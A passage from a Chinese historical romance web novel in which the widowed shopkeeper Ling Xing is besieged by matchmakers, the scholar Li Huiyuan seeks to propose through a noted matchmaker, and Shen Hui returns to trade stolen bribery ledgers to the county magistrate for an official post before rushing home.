凌星被三人围着,走也走不出去。听着三人不同风格的套近乎,大概猜到她们是为何而来。 “若是来找我说媒的话,我暂时不考虑成婚的事,诸位请回吧。” 三人好不容易看到人,哪会轻易叫凌星溜走。 凌星拒绝也不要紧,女子哥儿脸皮薄,又是大庭广众之下,怎么好意思张口同意嘛。 于是三人围的又近了一些,寻思着叫凌星带她们去铺子里,能敞开了好好说说。 要不是谢青崖在铺子里感觉不对劲,及时叫人出来,凌星还真走不掉。 张九几个兄弟都是身强体壮的汉子,个头又高大,靠近时媒婆们心里也害怕。 不由得松开凌星,缩了缩脖子。 凌星得到自由,忙不迭的跑了,都没敢回头看。 打手们并没有再向前靠近,只是站在原地等谢青崖发话。 凌星在小柳村的时候,就不怎么和村子里人打交道,每天都忙着出摊子赚钱。 所以他并不认识这三个媒婆,但整天和村人打交道的谢青崖却认识她们。 媒婆们看到谢青崖,眼神也是一亮。 看来村子里传的没错,王夫郎如今跟着凌哥儿,日子过的是真的好起来。 谢青崖没有为难三人,劝她们还是趁早回村子。 对于小柳村的人,谢青崖也没多少想说的话,提醒过后,便转身进铺子里。 对于谢青崖的劝告提醒,媒婆们没有放在心上。 她们不仅没离开,反而越发的拼命说媒。 除了之前托她们说媒的那几家,也在自己亲戚家里选合适的说。 万一就说成了,那这泼天的富贵,不就也能落在她们头上? 谢青崖不过是个交好些的朋友,说白了还是个外人,凌星都能这样照顾。 那对有亲缘关系的人,那凌哥儿得关照成啥样? 一想到这些,媒婆们就越起劲。 走是不可能走的,这媒说不成,她们是不会离开的! 短短两日功夫,凌星在县城有两层铺子的事情,在十里八乡传开,来的媒婆不减反增。 前期凌星还能应付,后面真的是被堵的焦头烂额。 这些人打听到院子位置,都不睡觉,直接堵在院子门口。 凌月差点没能出门去王隽那读书。 凌星也不敢在院子里待,都去铺子里。 还能有柳青玉和谢青崖他们把人拦着,得些清静。 春雨街和隔壁街这几日的热闹,就是谈论凌星会使什么招数躲媒人。 看客们是看的爽快高兴了,可苦了凌星。 晚上睡觉都梦见自己被一群媒婆追,吓得他睁眼都不敢睡。 还神经兮兮的觉得,床底下会有媒婆趴着要给他说媒。 一连几日睡不好,人都有些恍惚。 沈来心里不放心,每天晚上回来都给凌星扎针,能让他有个好睡眠。 他悟性强,又刻苦勤奋,针灸的像模像样。 一旁的凌月看着长长的针扎入皮肤,脊背僵硬,眨眼和呼吸的速度都变慢许多。 这针真是太可怕了。 当事人凌星却感觉良好,被针扎过的地方微微酸胀。身心舒畅不少,没多久就开始打瞌睡,终是睡了好觉。 看到哥哥终于能好好休息,凌月也跟着松一口气。 沈来扶凌星去睡觉,出来的时候路过凌月,瞄他一眼后,故意把针缓缓插进布中。 “阿月,你再熬夜读书,我也会扎你的。” 充足的睡眠能够修复身体,养精蓄锐。 熬夜透支时间长了,只会让身体越发亏空。 凌月眼睛盯着针,呼吸一滞。 “我知道了,小五哥。” 正儿八经跟着裴医学医之后,沈来最喜欢听话的“病患”。 他收拾好东西,趁着凌月还沉浸在对针灸的恐惧下,抬手按一下他的肩头,笑嘻嘻道:“阿月弟弟听话,小五哥不扎你。” 说完就见凌月肉眼可见的红了,沈来很是不给情面的哈哈大笑着离开。 他越笑,凌月人越红,站在原地低头看地揪衣摆。 站了差不多一刻钟,沈来都睡了,凌月才恢复正常,一副无事发生的样子回屋。 进屋后,凌月下意识要坐书桌前看会书。 刚走两步就刹住脚。 然后老老实实爬床上睡觉。 …… 李徽缘自从上次得到凌星宽慰,回去后修养两日,又开始奋发读书。 私塾也依旧开着,能贴补家用,还能为三年后的乡试积攒银钱。 今日休沐,他得空。 心里念着凌星,想到之前凌星说可以见面,一早就动身,想来看看他。 李徽缘先去的院子,敲门没有人应,心想凌星应该是去铺子里了。 他心中忐忑,朝着凌记小吃铺子走去。 没有提前打招呼就贸然前来,是他唐突。 前段时间私塾重新复学,琐事颇多,一时间忘记提前下帖告知。 他又实在想见,等不了下次休沐。人回神时,已经到了县城。 春雨街依旧繁华,李徽缘一身儒服乍眼,引得不少人的侧目。 云水县读书人少,能穿上儒服的至少是个秀才。 无功名者最敬读书人,也有不少富家子弟,拱手与李徽缘作揖,是在示好。 李徽缘并没有因功名在身,就觉得自己当真高人一等,也态度很好的回礼。 倒是叫富户子弟们有些受宠若惊。 读书人清贵,哪愿意和他们打交道啊。 虽说大禹商人亦能科考,但限制也颇多。 为了遏制商人科考,每个州府都会分发科考名牌,数量有限。谁家给的银子多,就能得到科考名牌。 小县城的富户,财力哪里比得过州府里面的? 云水县的有钱人入考场,撑死了混个童生名头就很不错,想再往上,全拼家资。 李徽缘的平和态度,让几个与其示好的富家子弟心情愉悦,主动过来攀谈。 “秀才公是要往哪去?我们有马车,可以送秀才公一程。” 为首的青年诚心邀请,李徽缘微微一笑,“不必,我去凌记小吃铺子。” 铺子就在前面不远,没两步路就到,确实不用马车送。 好不容易有一个愿意搭理他们的秀才,青年又道:“小吃铺子排着队,秀才公现在去怕是要等好一会。我家小厮正好排在前头,要吃什么,我可以帮秀才公带。” 李徽缘摆摆手。 人家态度好,是真心想帮他,便也没有敷衍对方,而是如实说:“我并非买吃食,而是寻人。” “寻人?那更得去找一趟我家小厮了。”青年见李徽缘一脸茫然,便给他解释。 “秀才公有所不知,最近几日,凌掌柜被媒婆盯上了。也不知哪里来的,天天堵着他。现在铺子周围都有护卫巡视,若不是排队的食客,谁也不招待,都请人离开呢。” 青年又补充道:“不过秀才公要是与凌掌柜相熟,和护卫说一声带话就成。” 李徽缘心里知道搭话的青年是想和他套近乎,人和人建立联系,就是你帮我,我帮你。 所以才会对他说这些,让他决断要不要青年的帮忙。 但他现在无力思考太多,满脑子都是青年说的媒婆。 凌哥儿要相看人,改嫁了? 也是,凌哥儿那样优秀,说媒的人肯定很多。 算算时间,凌哥儿守寡已然够久。他的年纪也一十有八,再守下去怕是会耽误下一段姻缘。 李徽缘失神的看向凌记小吃铺子,心里思绪万千。 他是想自己足够优秀之后,再求娶的。 可眼下,时间不等人…… 难不成,他要什么也不做,就这么眼睁睁的看着吗? 李徽缘眼神涣散片刻,很快又凝聚起来。 他双拳握紧,下定了决心。 不行,他不能就这么看着。 否则日后一定会后悔! 虽说孝期无法成婚,但可以相看下定,在孝期之后再婚嫁。 李徽缘心中有了决断后,不由面热起来。 这些都是他的想法,也不知凌哥儿会怎么想。 不管怎么想,当务之急,是要去找媒婆。先去沈家提相看,至少让凌哥儿知道…… 他心里有他。 第88章 第 88 章 求娶 李徽缘家中人口简单。 父母健在, 上面有两个哥哥,下面有个妹妹。 哥哥们早已娶妻生子,妹妹也已出嫁。 家中就只有他一人因科考原因,终身大事一直没有定下。 母亲魏青莲的身体不太好, 常年要喝药, 也干不了重活。 家里一应琐事都是两个儿媳干,二人也有一定的话语权, 一家子吃喝拉撒都听她们的安排。 父亲李平渊也有童生功名, 他之前家中无人读书, 家底不丰,也无积累, 只能停滞不前。 老大李徽良, 老二李徽善都不是读书的料子,一个木讷,一个坐不住。 好在老三李徽缘自幼聪慧, 又耐得住性子,让李平渊看到点希望。 三儿子考上童生那年, 李平渊以为李家终于要出人头地。 万万没想到,三儿子是读书的料不错,可他也太过时运不济。 次次科考,次次因孝期耽误。 前两次还是李徽缘安慰李平渊, 说只要过了孝期就好, 爹不用担心伤神。 这次都中秀才了, 还是前列, 能进县学读书的。 距离改换门庭,也只有一步之遥,几个月的事情。 谁知这节骨眼上, 外祖又离世。 这回李平渊都顾不上可惜难过,整日忧心忡忡,怕李徽缘挺不过来。 人再坚韧,也不能一而再再而三的承受这样的双重打击。当真是身心俱疲。 即便是他,接二连三如此,都生出不然就这样算了的想法。 三郎自从得知外祖过世消息后,整个人像是丢魂一样,瞧着又吓人又心疼。 李平渊以为李徽缘心气会被折腾散掉,他也没别的法子,劝也劝不了。 只能多加盯着人,别出什么意外就好。 其他的,只有靠三郎自己消化。 好在三郎挺过来了,又恢复之前的势头,心气回来,人就不会再有事。 魏青莲在里屋喊了一声,李平渊放下手里的书进去。 “三郎一早人就出去,可回来没?” 前段时间李徽缘心同槁木,半死不活的样子吓到魏青莲。 她怕儿子想不开,只要李徽缘离开时间稍微长一些,心里就发慌,容易想有的没的,自己吓自己。 “尚未。” 李平渊理解妻子是担心儿子,又因身体原因,无法自己出去等待,缓声劝道:“你不必忧心,徽缘他出门时是笑着的。倒是你还是快些躺下,盖好被子。现在天气冷人,你身子骨弱,受寒又要遭罪。” 魏青莲半信半疑的躺回去,前日受风寒,人晕了一场。 昨日才醒,怕病情加重,都不敢下床去。 就怕风吹又受寒。 魏青莲很爱惜自己的身体,不管怎样,她要撑到三郎科考完才行。 夫妻二人在屋里又说一会话,听到外面有动静。 魏青莲刚要让李平渊出去看看,是不是三郎回来,就听外头熟悉的声音喊道:“爹!娘!” 雀跃的语气让夫妻二人惊讶,自从得知外祖过世消息后,李徽缘情绪一直都是低落消沉。 这段时间好了一些,但高兴时也几乎没有。 到底发生什么事了,三郎竟然如此喜悦? 李徽缘来的快,掀开门帘时,魏青莲也坐了起来。 接收到爹娘的视线打量,李徽缘想到自己待会要说什么,又很不好意思。 他放慢脚步,让自己不要显得过于急切,但过快的语速还是暴露了他此时激动急切的心。 “爹,娘。我想请你们与我去找媒婆,帮我去小柳村说亲。” 一石激起千层浪。 李平渊和魏青莲起初都没反应过来。 平时心里只有读书科考的三郎,竟然有心上人了! 什么时候的事? 真是一点都没察觉到! 李平渊最先反应过来,都不敢多打听,只问了一句,“你这是什么时候看上的人?” 李徽缘脸红道:“去年春末,他夸我字好看……” 夫妻两从没在儿子脸上看到过这样的神情,竟然还将人放在心里这样久了。 成家立业,先成家再立业,也是常情。 加上李徽缘是真心喜爱,为此都一扫之前阴霾,当爹娘的不想扫兴,没说别的。 只详细的问了是什么情况,再做决断。 毕竟成婚不是儿戏,要再三斟酌相看才行。 这回夫妻两问的详细,李徽缘头一次对外说凌星的情况,紧张的不行。 一半是想起凌星就紧张,另一半是怕爹娘不喜欢凌星。 得知凌星是个寡夫时,魏青莲就皱着眉头,李平渊也不是很满意。 听到儿子说这次振作起来,是因为那叫凌星的哥儿给他肯定,夫妻两对视一眼,原来如此。 难怪上回去县城时候要死不活,回来就收拾屋子,重开私塾了。 最后得知是他们儿子单方面心悦人家,这次急着找媒婆,是因为怕对方被其他人娶走,夫妻两脸色一阵青一阵白。 说了半天,是他们儿子一头热。 魏青莲和李平渊没直接答复,而是让李徽缘先出去,他们要商议一下。 李徽缘有心想说一句非凌星不娶,又觉得不妥,像是威胁父母同意一般,到底还是没说。 屋内,魏青莲皱眉道:“先不说哥儿不如女子好生养,单说嫁过人这一点,就有些不大配。” 李平渊颔首,“还是经营生意的,铜臭味多,真娶回来恐影响三郎。” 魏青莲赞同,她说的没李平渊那样隐晦。 “咱们三郎是读书人,是秀才。娶富户娇养的闺女可以,但娶整日抛头露面自己做生意的哥儿着实不行。如此市侩模样,以后出去与文人雅客相聚,提及家眷,不是遭人耻笑?” 总之,他们是不同意让儿子娶一个寡夫,还是抛头露面做生意的寡夫。 李平渊叹息一声问:“看三郎那样子,是真心喜爱。若是我们不同意,三郎怕是要伤心。” 放在之前,伤心就伤心吧。反正过一段时间就好,但现在有些特殊。 儿子好不容易振作起来,又是放在心里想了两年的心上人,他们要是不同意,只怕儿子那边会出问题。 魏青莲想了一会,提议道:“不若找媒婆去说纳妾?” 李平渊摇头,“万万不可,没娶妻就纳妾,不合规矩。” 魏青莲这才想起来,是这么回事。 可要儿子娶一个寡夫,她心里也是一万个不愿意的。 李平渊捋一下胡须,小声道:“三郎难得找回心气,这事咱们必须出面帮他办。依我看,就娶进来。等三郎高中后,可再娶一女子,做平妻。这样一来,又如三郎的意,也合我们的心。两全其美。” 魏青莲觉得可行,“那在平妻进门前,三郎最好别和那哥儿有孩子。这样一来,到时候愿意嫁的也多。” “如此甚好,我这就去找媒婆。”李平渊心情舒畅的离开屋子。 出门就看见李徽缘坐在堂屋的凳子上等着,看到他出来,立即起身,忐忑的问道:“爹,你和娘商量的怎么样了?” 李平渊自不会提前与李徽缘说平妻一事。 现在儿子正兴头上,不够理智,说了他肯定不会同意。 等过几年高中后再说,那时有仕途利益纠葛,情情爱爱的东西,也会沉淀,不值一提。 李平渊拍一拍儿子的肩膀,慈祥的笑着,“当然是听你的,去找媒婆,替你求娶。” 李徽缘欢喜不已,情不自禁的往外走了好几步,平复内心激荡的情绪。 万媒婆是云霞镇数一数二的媒婆。 因为声誉好,成功率高,基本说一对成一对。来找她说媒做保的,可不仅只有云霞镇上的。 周边镇子诚心想嫁娶的人家,也会费点时间功夫,来云霞镇找她。 说句夸张的话,她手里成的亲,都能绕云霞镇一圈。 年前是相看的好时机,成了下定,正好开春娶亲。 她每天都忙得很,行程安排的满满当当,特别忙的时候,一天要跑三五家。 李家的媒,她本是不想接的。 实在是太忙,还急着去。 可那李秀才竟是对她这下九流的媒婆作揖,客气的请她出面说媒。 还没给秀才公说过媒的万媒婆,当即就脑袋一热,点头答应了。 已经在去小柳村路上的万媒婆,脑子想着被秀才老爷奉为上宾对待,心里下定了决心要给这门亲事说成。 到小柳村后,万媒婆下了牛车,就近找一家人打听沈家在哪。 村民打量一眼万媒婆,没直接说沈家住处,而是警惕的问她找沈家做什么。 万媒婆笑道:“说亲呐!” 听说是说亲,村民不敢耽误事,怕因他坏一桩姻缘,赶紧指了路。 “往前一直走,山脚下的青砖大瓦房就是沈家。”村民还好心提醒,“媒婆快去,沈家最近整日都有好几个媒婆堵门,去晚了可挨不上。” 万媒婆心下一惊,赶去沈家。 她是知道凌星的。 云霞镇里少有她不知道的人和事。 听李秀才说要求娶凌星时,她确实吃惊。没想到这两人还能凑一起。 转念一想,那凌星能干又好看,李秀才心生爱慕也是再正常不过。 就连李秀才这样的人物,都不介意对方是个寡夫,嫁过人。 更别提旁人了。 不过万媒婆很快又调整好心态,让自己稳住。 能比李秀才更合适的人,整个云水县找不出第二个。 要么太高位,凌哥儿只能做妾。要么太低位,不太匹配。 中间差不多的,不见得想娶一个如此能干,会被压一头的哥儿。 万媒婆稳下心神,靠近沈家后,果然看见门口有好几个妇人。 数了一下,五个,全是媒婆。 媒婆和媒婆之间有关系网,就算不相熟,多少也见过一两面,有一点点印象在。 万媒婆只觉得沈家门口的五个媒婆有些眼熟,却叫不出名。 但五个媒婆都认识她。 实在是她声名大,只记她一人,很容易记得。 田媒婆不敢相信的问:“万媒婆,你也来替人给沈家说媒?” 自从凌星让护卫赶媒婆走的第一天,田媒婆就离开了县城,没和其他人一样,在那耗着。 而是又来磨徐有芳。 虽然还是一直被拒,但她也能感觉到,徐有芳态度松动不少。 有叫凌星回来相看的意思。 其他的媒婆,田媒婆不放在眼里,大家关系网如何都清楚。介绍的人,不会比她的好到哪去。 可万媒婆不一样。 找她说媒做保的,不是有钱就是有权。 万媒婆一眼看去,就知道五人全都吃了闭门羹。 她没专门回田媒婆的话,而是往前一走,在紧闭的大门前停下。 清一清嗓子,两手交叉垂下放在肚子上,脖颈一昂,高声道:“沈家的可在家?快开开门,我是来替秀才公说媒的!” 院子里徐有芳听清说的什么后,刷的一下站起来。 竹筐倒在地上,曹满月上去扶起来,把地上散落的丝绒重新弄回竹筐里。 外头媒婆喊的话,她也听见了。 “娘,这个要见吗?” 前面都是些歪瓜裂枣,还敢嫌弃她哥夫嫁过人。那些一听就觉得不行的,都不用哥夫说,家里直接就能拒绝。 可是秀才这样好的条件,家里真做不了主,不敢随意拒绝。 徐有芳也是这个意思,无奈叹一口气,“满月啊,去把门打开,叫她们进来吧。” 曹满月嗳了一声答应,放好竹筐,去开门。 沈家院子里一开始是黄泥地,夯的实实的。 后来手里又有了些钱,铺上了青砖。 院子里范围大,视线开阔。脚下青砖踩着平稳,下雨天也不怕脏脚,还好清扫。 万媒婆打量一眼院子就知道沈家不差钱,短短两年,真是赚了不少。 其他五个媒婆蹭着万媒婆的福,也全进了沈家院子。 沈家汉子们都出去做活,徐有芳,曹满月还有小春小夏在家。 俩孩子乖巧,曹满月让他们在屋里别出来,就老老实实的坐着。 徐有芳并不想招待媒婆们,也没请人进屋坐。 倒是问了万媒婆,“不知这位媒婆是替哪位秀才公说媒?” 万媒婆打眼一瞧,看出徐有芳不是很想让凌星相看。 也和其他媒婆一样,以为她是想留财神爷在家,继续给沈家赚钱呢。 毕竟谁能想到真正原因,是小叔子看上哥夫呢。 “云霞镇李秀才,听说凌哥儿开始相看,特来请我说媒。” 万媒婆注意着徐有芳神色变化,见她一副拿捏不准的样子,故意问道:“李秀才有功名在身,尚未娶妻生子,凌哥儿再能干,到底嫁过人是个寡夫。婶子到底为何还如此犹豫不决,连相看都不愿点头?” 不等徐有芳说话呢,之前一直吃闭门羹的媒婆们围上她,七嘴八舌嚷嚷起来。 “沈家的,你们不好压着星哥儿不让他改嫁的。” “就是啊!咱们禹朝可没有嫁出去的女子哥儿,要守一辈子寡的说法。” “求娶的那位可是个秀才!我们说的媒你看不上,秀才公也看不上?” 媒婆们早就因徐有芳接二连三的拒绝,心里憋着气。 虽说这事是要人点头才行,不是死缠烂打就可以的。 但这沈家不想让凌哥儿改嫁的心太明显了些,偏那哥儿都听公婆的,谁也不看。 她们这会得借着万媒婆说的这门亲,让沈家彻底松口能相看。 到时候就能想办法把她们想介绍的人,塞来见见。 就算是不如秀才公好,那说不准凌哥儿就喜欢那类的呢。 徐有芳是知道大禹律法,丧夫的女子和哥儿,只要愿意,就能改嫁。 没有说守一辈子寡的。 万媒婆说的又是有功名在身,算是良配…… 在媒婆们的逼视下,徐有芳无奈道:“我明日叫星哥儿回来一趟。” 徐有芳松口,笑容转到媒婆们脸上。 她们见好就收,也不准备在沈家继续待,都客客气气的告辞,说明天再来。 那态度好的,半点不见方才气势汹汹的模样。 徐有芳挺无语,若不是不好拒绝那秀才,也不能叫这几个钻空子进来。 扰她家多日清净,也该算账说一说。 她直接道:“你们来做什么?你们介绍的那些,好意思来我家说亲?明日只要万媒婆来,你们再来,就别怪我不顾及乡里情面!” 忍这些天也忍够了,真当她是泥捏的,没脾气。 好说歹说都不听。 媒婆们见徐有芳是真生气了,对方态度强硬,她们便弱下气势。 最后连反驳都不敢,灰溜溜的转身跑走。 翌日一早,沈呈山和徐有芳就从镇上租马车去县城,直奔小院去找凌星。 一大早看到徐有芳二人,凌星还愣了一下,以为出什么事。 结果听说云霞镇有个姓李的秀才,昨天请媒婆去家里说亲,想要求娶他。 二老来,就是想接他回家见见那媒婆,成与不成,他和媒婆说。 凌星一时间也没反应过来李秀才是谁,不过既有功名在身,他不喜欢,也确实要好好说清楚缘由才行。 “娘想着在家里见面不怕吃亏,周围都是咱们自己人。就是辛苦星哥儿要跑一趟。” 徐有芳说明回家见面的缘由,还是在自己的主场,才能更好的把控局面。 凌星能理解,“娘考虑的周全。” 徐有芳笑了一下,随后看一眼东厢房紧闭的门,“二郎还是没有消息?” 凌星摇摇头。 “等过两日再没有消息,我就请县令大人帮忙找人。” 徐有芳叹口气,“只能如此了。” 这个点沈来和凌月早走了,凌星锁好院门,去一趟小吃铺子,和柳青玉说回家两天,让他看好铺子。 又去隔壁街找谢青崖,托他照顾两天凌月和沈来。 安顿好后,凌星跟着徐有芳、沈呈山上马车,回小柳村。 马车匀速行驶,凌星被晃的东倒西歪。 晃着晃着,他突然想到,云霞镇的李秀才,说的不会是李徽缘吧? 念头一闪而过,凌星又觉得不可能。 他和李徽缘见过几面,没感觉到什么异常。 现在也不知道具体名字,也可能是其他的李秀才吧。 反正回家后就知道了。 第89章 第 89 章 “我要娶你。” 凌星离开县城的马车刚走, 小院门口就多了一辆马车。 车门打开,身着灰袍的高壮男子跨步下车,直奔小院。 正是许久未归的沈回。 见小院门全锁上,他俊朗的眉微微一皱。 思忖片刻后, 沈回转身对车夫道:“东西先弄下来。” 车内只有书箱, 还有少量衣物。大部分都是州城特产,还有一些看着名贵又漂亮的布匹。 小院门被打开, 车夫来回几趟, 很快就归置好东西。 院门再次被锁, 沈回上马车,“去县衙。” 车夫驾马很稳, 沈回在车内睡了一会。再次睁眼, 人已经到县衙门口。 守门的衙役认得沈回,客气的很,“沈秀才是来找县令大人?” 乡试的成绩已经出来, 不过看来还没传到云水县。抑或是到了,尚未张贴。 沈回没有纠正, 而是颔首请衙役通传。 得知是沈回求见,林清渝指尖点两下桌面,不知在想什么。 “叫人进来。” 沈回来时,书房内的人已经被林清渝全部清出去, 甚至门口都没有留人。 “见过县令大人。”沈回拱手行礼。 林清渝嗯一声, “本官得恭喜沈举人, 一举得中, 还名列前茅。可喜可贺。” 官府的告示尚未到,毕竟不是前三,云水县又只有一个举人, 路途还远,都不想专门跑一趟。 大概率是要等公文量攒差不多,顺路再一起送来,所以速度才如此慢。 旁人不晓得,不过林清渝却晓得。 州城那边的人早已来信说明,不过还有些其他事,林清渝总觉得不对劲,便没有和凌星说。 林清渝停顿一瞬,眯着眼睛疑惑道:“只是本官有一事不明,州城的人说,沈举人中举后便收拾行囊离开了,怎的这时候才回来?” 沈回乡试住的地方是林清渝找的,他的行踪自然是瞒不过林清渝。 也没想瞒着。 沈回敛眸,怕是林县令知道的东西,比他说出来的更多。 他也没卖关子,想早点把事情解决,急着回去。 “大人请看。” 从衣袖暗袋里掏出一捆纸,直接递给林清渝。 看着那捆卷着的纸,林清渝伸手接过,扯开缠绕在纸身上的细麻绳。 彻底打开,看清纸上内容后,林清渝的神色由好奇,变得惊讶震动。 他难以置信道:“这些都是从哪来的?莫非范家失窃,封城找的窃贼就是你?” 州城的动向林清渝一直关注着。 范家失窃一事闹的满城皆知,甚至不惜封城也要找到窃贼,说明丢的东西十分重要。 但具体丢的是什么,无人知晓。 林清渝此前有所猜想,此事会不会和沈回有关。沈回针对范同流,完全有理由。他的行踪也确实可疑,明明早就离开,却迟迟未归。 可又觉得不应该,他的人都没能进得了范府,沈回怎么会进得去? 如今看来,沈回不仅进去了,还把范府的天给捅了个窟窿。 那一沓纸,是范府的部分账本。 不是放在明面上的阳账,是私底下受贿的阴账。 即便是书房空无一人,沈回也没有张口承认。 “在下不知什么窃贼,只是有人在范府周围捡到此物。那人不识字,只以为纸上有字就是书籍。途中与我偶遇,见我是读书人,便拿此物,与我换了些银钱买吃食。” 林清渝反应了一下,不由笑道:“哈哈哈哈哈,对!肯定是那窃贼偷跑时候落下,叫人给捡到了。随后又阴差阳错,到沈举人手中。” 沈回微微一笑,“正是如此。” 账本来源很快被定性,接下来要讲的就是更实际的东西。 范府守卫严,不然林家的护卫早就进去了。 沈回能弄来这样一个可以一击击溃范府的东西,定然是很不易。 想来他消失的这段时间,吃了不少苦头。 这样费尽心力,必是有所求。 所以想要交换。 林清渝按下账本,抬眸问他,“沈举人想要什么?” 沈回直言道:“县丞之位。” 根据大禹官制,县令及以上的官,不允许本地人当。 县丞不做要求,甚至不少地方县丞还专门找本地人。外来的官水土不服,本地的县丞能更好的管理,百姓会听。 举人便可入官场,不过只是有资格,具体能不能排上得看背景。 林清渝没办法让沈回做云水县县丞,但京城林家却可以。 听闻沈回想做云水县丞,林清渝挑眉道:“你这是为了心上人,算计到本官头上了?” 沈回没有惊讶林清渝如何看出他对凌星的感情,也不怕林清渝会说出去。 要说的话,早就说了。 “周拓不是本地人,他做县丞多年,还能有个升任云水县令的盼头。可你本就是云水县人,做了此地县丞,想要晋升,基本无望了。除非去极其偏远的地方做县令,那就真会老死在外。” 林清渝讲清楚弊端,又谈沈回的优势。 “你的身手比林家培养的护卫还要厉害,又有才学,品貌上乘。若是专武,说不定能拿个武状元。专文的话,以你才学资质,至少也是二甲进士。当真要就此放下,止步于此?” 林清渝字字句句都在为沈回分析,是真的希望他能好好考虑。 沈回沉默片刻,认真回他,“多谢县令大人牵挂。只是在下心有所念,继续科考二甲为官,会引起关注。政党敌派,深挖之下,恐生事端。” “止步举人,偏安一隅,能护家人周全,已是极好,不再多求。” 得中二甲,崭露头角,定会挡一些人的路。 那时候就算是哥夫脱离沈家,他也不能娶他为夫郎。 只怕为铲除他这个绊脚石的人,故意散播的流言蜚语,会将人伤的体无完肤。 小小的云水县丞,林家完全护的住。 他也能将云水县掌控在手中。 不让流言伤害到心爱之人。 至于上面的府城和州城……范同流的账本他分成了两份。 一份内容足够扳倒范同流,威慑他上头的人。 另一份里的东西,州城和府城的一把手,都在其上。 范同流压根不敢对外说,记录他自己贿赂的账本也丢了。说出去的话,他会被杀,直接死无对证。 而沈回交给林清越,关于范同流自己收贿赂的账本,内容最多是让他降低官职,再罚银子。 总归罪不至死。 而范同流的那个位置,林家人也看中许久,想来后面上任的就是林家政党的人。 沈回拿的很巧妙,保持着一个完美的平衡,皆有利于他。 林清渝对沈回的选择感到可惜,但也没有再劝。 沈回在云水县做县丞也好,以后林家一派的人来接任云水县令,能合作的很好。 不会像他一样这么累,周拓天天想尽办法拖他后腿。 “此事本官会写信去主家,你且等等。” 林清渝说罢又仿佛刚想起什么来,“哦,对了。县丞这事虽还急不得,但凌哥儿的婚事似乎很急。听说这些日子好多媒婆上门说媒……” 沈回闻言一愣,肉眼可见的慌乱。 “县令大人见谅,在下还有要事处理,先告退。” 沈回话说完,人也到了门口,压根等不到林清渝点头。 看着沈回慌忙离开的背影,林清渝捋捋胡须,微微一笑。 叫你小子算计本官,该你尝尝急切的滋味! 沈回出县衙,直奔凌记小吃铺子找人。 柳青玉看到沈回不由一喜,东家一直担心人没消息,现在人平安回来,真是太好了! “你们东家不在铺子里?”沈回急迫问道。 柳青玉摇头,“东家说这两日回小柳村,好像是有媒婆要相看……” 又是话没说完,沈回直接就上马车走了。 他叮嘱车夫快一点,生怕晚一步。 高大的身形跟着车厢晃动,沈回额头渗出冷汗,抬手按在左腹,唇色有些发白。 黑沉的目光紧盯车门,略显偏执。 若是真晚一步,他抢也要把人抢回来。 …… 凌星回到小柳村,马车尚未停下,沈家门口坐的媒婆们已经围上来。 人围的太多,凌星下马车费了好大一番功夫。 “哎呀!这就是凌哥儿吧!长得可真是漂亮啊!” “瞧瞧这一身贵气,多招人稀罕!” “凌哥儿慢点儿,可别摔着。” “凌哥儿可知福平村的大庄头?他家五郎那长得是一表人材,与你可相配着呢!” “啥就相配了?他家五郎还矮凌哥儿一个头呢!溪纺村村长家四郎才配得上凌哥儿!那大高个,一看就是能护夫郎的。” 媒婆们一开始还打个招呼,客气两句,后面逐渐争相介绍起人来。 一个个嗓门越来越大,都想压过前面的人。 徐有芳昨天让她们别来,但谁又愿意放弃这样一个机会? 要她们说媒的人,给的实在是多。还都说不管成不成,东西都给她们。 若是成了,还会再翻好几倍给。 就一个要求,用尽全力去做这个媒。 拼着得罪徐有芳,也得来跑一趟。 反正大家伙都来,得罪也是大家一起得罪,想到这里,就没那么怕了。 徐有芳护着凌星想往里走,曹满月和沈燕在外面使劲扒拉开媒婆。 知道今天凌星回来相看,沈燕和赵长命专程关门歇业,为了给凌星撑场子。 结果出师不利,连人都难从媒婆堆里拽出来。 又都是妇人,汉子们不好动手,就连小春小夏都上去帮忙了。 沈家门口一阵热闹,媒婆们嗓门大的很,凌星和徐有芳说话声被盖住,这些人压根听不见。 就连万媒婆都险些被挤出去,最后还是凌星在拥挤间,弯腰从空隙里钻了出去。 凌星不在包围圈里,媒婆们很快反应过来,转头找人。 “哎哟,凌哥儿你好好的跑什么啊!” “就是啊,咱们说那么多,有想相看的没?” “都是十里八乡的好儿郎,随便哪个,都是半点亏不着的!” 媒婆们说的是肺腑之言,以前就没见过这样条件的儿郎,愿意娶个寡夫的。 还是这哥儿过于能干,长得又好,打着灯笼找不到第二个。 金疙瘩,香饽饽,谁能不喜欢呢? 凌星只觉得脑袋嗡嗡的,也不知道怎么好好的,突然这么多媒婆上门。 曹满月眼疾手快的拦住媒婆们,沈燕紧随其后。 只有万媒婆被放进屋里去。 徐有芳和沈呈山也进院子,作为长辈,要替凌星撑着。 几人到堂屋坐下,沈归和赵长命像两个门神一样,守在外头。 万媒婆左右打量一眼,总觉得自己活像被看守的犯人一样,四处都严防死守。 说媒要紧,她也没太在意。 “凌哥儿果然是人如其名,如星辰耀眼。也不怪那李秀才苦求,要老婆子我跑这一趟。” 凌星顿了一瞬,“敢问那李秀才,全名是什么?” 万媒婆哎哟一声,一副不好意思的模样,“瞧我这记性,这么重要的事都忘记说了。” “李秀才就是凌哥儿熟识的李徽缘,李三郎啊!” 在凌星愣神的瞬间,万媒婆继续笑道:“要不说你俩有缘呢?那么早就认识,多少了解彼此,与那些盲婚哑嫁的强不知多少。” 凌星是真惊讶,没想到真的是李徽缘。 怎么之前一点都没看出来李徽缘有这个心思啊? 凌星的沉默,让徐有芳和沈呈山心底一凛。 没有立即拒绝,以前还相识,有过接触。 不会是真有意吧? 夫妻二人对视一眼,一时间也不识如何是好。 如果星哥儿真的有意这李秀才,他们是万万不能阻止的。 可二郎知道了,要是发疯又咋整啊? 二老愁的直皱眉,心里一个劲想法子呢。 万媒婆和徐有芳二人一个想法,以为凌星沉默没拒绝,就是有戏。 她轻咳一声道:“若是没有其他的疑虑,不如安排个时间,两家人正式见一面?” 凌星闻言回神,正要张口说话,就听外头沈燕高兴喊道:“二哥回来啦!” 沈回多日无消息,徐有芳和沈呈山也是心急如焚。 乍闻人回来的消息,都顾不得万媒婆在这,直接跑了出去。 结果有个人影比他们还快。 徐有芳和沈呈山脚下步子不停,看着凌星跑远的背影,又是对视一眼。 有戏! 当门神的沈归、赵长命同样跑到院子外,要迎接许久未见的二哥。 万媒婆一个人坐在堂屋,茫然四顾。 不是,人怎么都跑了? 那她后面的话说给谁听啊! 沈家院子外,沈回高大的身影靠在马车边上,一双冷眼扫向堵在前面的媒婆们。 “都给我离开沈家。” 他态度冷硬,眼神冰冷,媒婆们实实在在的吓一跳。 不愿放弃的媒婆们仗着人多,不由壮着胆子反驳。 